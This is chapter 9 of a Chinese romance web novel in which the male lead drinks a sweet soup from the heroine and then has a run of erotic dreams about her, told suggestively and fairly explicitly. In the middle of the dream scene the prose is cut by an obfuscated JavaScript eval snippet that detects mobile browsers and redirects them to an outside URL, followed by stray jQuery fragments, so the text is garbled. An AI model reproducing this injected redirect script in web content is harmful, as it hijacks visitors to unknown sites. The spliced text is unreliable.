9. 鸳鸯梦

作品:《前夫他是假煞星

    步择清喉结动了动,很轻。


    路明知的手他不是第一次碰,在蛊发那夜,他甚至把玩过很久,触感记忆犹新。


    而这次感觉又不一样。


    或许没有下雨,或许不在夜里,或许握别人与被握住本就有所区别,又或许……


    他正体会着那点不同,她的手就收了回去。


    “你为什么不牵它了?”未经思考,他就问出来。


    路明知脑子里亦是一团乱。


    既恍惚于自己下意识的举动,也失神于步择清指尖带来的熟悉。


    最后她脑海里是那个怪梦,以及他食指骨节处的小小齿痕。


    她感到很烫手。


    “男女有别。”路明知道。


    她不明白局面已然这样尴尬,他为何非问出来,让这尴尬更深一层。但既然他问了,她便只能如此答。


    “那你刚刚对我动手动脚时,就无别了?”步择清把手上的发搭回她肩后,似是回了神,又恢复那股凉飕飕的阴阳味儿。


    “……刚刚忘了。”


    路明知耳朵发热,不太想继续与他钻研此事,余光掠见搁置在旁的食盒,抢在步择清再开口前说:“我给你带了东西。”


    步择清指尖也有点麻,难得没揪着她的唐突不放,从善如流问:“带的什么?”


    “甜汤,我煮的。”路明知端出小盅,汤的温度正合适入口。


    “你给我煮汤,我也不会配合你解蛊的。”步择清接过小盅,佯装闻味道,嗅了嗅有没有毒。


    路明知:“!”


    “又不是收买你,你真是小人之心度君子之腹!之前你让无亲和无友送来保暖的东西,这是我的谢礼。”


    “你说那些东西,”步择清很不给面子,“都是他们自作主张,我可没授意。”


    “钱是你出的嘛。”路明知有理有据,“我一直觉得,相比请客的人,还是掏银子的更值得尊敬。”


    无亲无友给她送东西,走的都是苑里的账。


    步择清不置可否,提起汤匙浅尝一口。


    的确是甜汤,路明知不知放了多少糖,与本就甜腻的番薯、红豆和梅花一起熬煮,齁得他舌根发苦。


    “路明知,说实话吧,你是不是对我……”步择清用汤匙敲敲碗沿。


    他想说“积怨已久”。


    居然拿这种歹毒东西来害他!


    “甜吧?”路明知却笑眼看他,与他各聊各的,意外融洽,“不开心就要吃点甜的,心情会好。”


    这碗“歹毒”甜汤,步择清终究是喝尽了。


    他怀疑路明知给他下了药——能操控意志改变行为的那种。


    不然这种东西,他一滴都不会碰。


    步择清气捋顺了,于傍晚回到喜鹊安胎的小院,无亲和无友都深感惊奇。


    自家公子的脾气他们知道,此次竟不出半日消停下来,二人向路明知讨教哄人良方。


    路明知回忆一番,空口造谣:“步择清大概爱吃甜食,哄他吃点甜的,他就乖了。”


    无亲不解,无友迷茫。


    印象中步择清最讨厌甜腻腻的东西。


    但路明知赐教时,神态语气都实在坚定,成功案例又明摆在眼前。


    两人对视一眼,当然是选择相信她。


    于是接连数日,步择清餐桌上莫名出现了许多甜口菜,不时还有小点心和小糖水点缀其间,他真是看着就闹心。


    好在他还有件更闹心的事,无心发难其他,让乱改菜谱的无亲无友逃过一劫。


    步择清活到弱冠之年,自认没什么世俗的欲望。


    而就在路明知给他送甜汤的当晚,他破天荒做了场荡气回肠的春梦。


    或许天赋使然,尽管是头一回,他却毫无拘谨生涩,全程自然到他甚至没意识到正置身梦中。


    不同的是,梦里路明知身体温热,不似现实没什么温度。


    奇怪就奇怪在这儿。


    她分明应该是不冷的,却一个劲儿喊冷,他一个不留神就叫她钻进了被子里,赶也赶不走。


    他记得梦里自己脾气好到令人感动,见她坚持赖着,就没再赶,甚至随和地也躺了进去。


    可这个女人实在不懂适可而止!


    他已妥协至此,她却不满足于区区一床被子,手脚并用往他身上攀,美其名曰他的身体比被子暖和。


    简直欺人太甚!


    他一怒之下……就带着怒气让她攀了上来。


    不知路明知在那碗歹毒甜汤里下了什么药,她贴在他怀里,他就感觉由心脏至四肢百骸软得一塌糊涂,好在他一张嘴还是很硬的。


    “路明知,你死心吧,我是绝不会碰你的。”


    路明知还跟他装:“没让你碰,给我抱着暖暖身子就行。”


    步择清就静静地看着她表演,看她能装到几时。


    果然,没有多久,路明知就装不下去了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829804|158910||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她开始不安分地躁动。


    他是想要嘲讽的,可惜被她抢到开口先机。


    “你规范一下你的思想,不要用那里顶我!”


    经她提醒,步择清这才感受了一番。


    混沌意识里,除嘴以外,另一个硬的滚烫的部位逐渐清晰。


    步择清:“。”


    “有种你下去。”


    路明知:“我冷,有种你下去。”


    步择清:……他下不去。


    路明知就感到,身下的人整个身体都绷紧,而那里,非但没下去,反而更顶了。


    “你难受吗?”她抬头看他的表情,发尾扫过他手背绷紧的经络。


    步择清阖着眼,不想说话。


    路明知就笑着夸他:“贞烈!”


    她竖起大拇指,在他眼前乱晃一通。


    步择清无需睁眼,凭直觉按下她那只手。


    “你好无情。”路明知控诉。


    “知道就好。”


    “但我觉得你喜欢我。”路明知说着,用唇瓣碰了碰他的喉结,“就像我喜欢你一样。”


    那颗喉结剧烈滚动,抓握着她的手下意识扣紧。


    得到回应,路明知又亲了亲那里。


    “小天师,它都比你诚实。”


    梦中,步择清大概被身体里源源的热烧坏了脑子,并没觉得她这称呼有哪不对。


    “你如果娶我,你师父会不要你么?”她用掌心拭去他额上汗意。


    “不会。”他终于答话,“我所在门派可以娶妻,但……”


    “但”后面是什么?


    他像是忘记了,又像从没知道过。


    不过,都不重要了。


    路明知纤细五指插进他的指缝,吻落的位置往上移了些,小心地伸出牙齿,轻啮他的下唇。


    “那我愿意嫁给你,我也高兴,你也高兴……”


    银瓶乍破水浆迸……


    防线崩颓,接下来的事就顺理成章。


    的确是很高兴的。


    步择清整夜都浸在那餍足里,难得晚起。


    醒后,他先是觉得榻侧空虚,半晌方回过神,整颗脑子如遭雷劈。


    步择清用一上午时间勉强调整了心情,觉得周公他老人家大概为老不尊,开了个很不好笑的玩笑。


    未承想,这“玩笑”一开就是小半月,持续到岁末。


    夜夜梦里,路明知以各种姿势,陪着他辞旧迎新。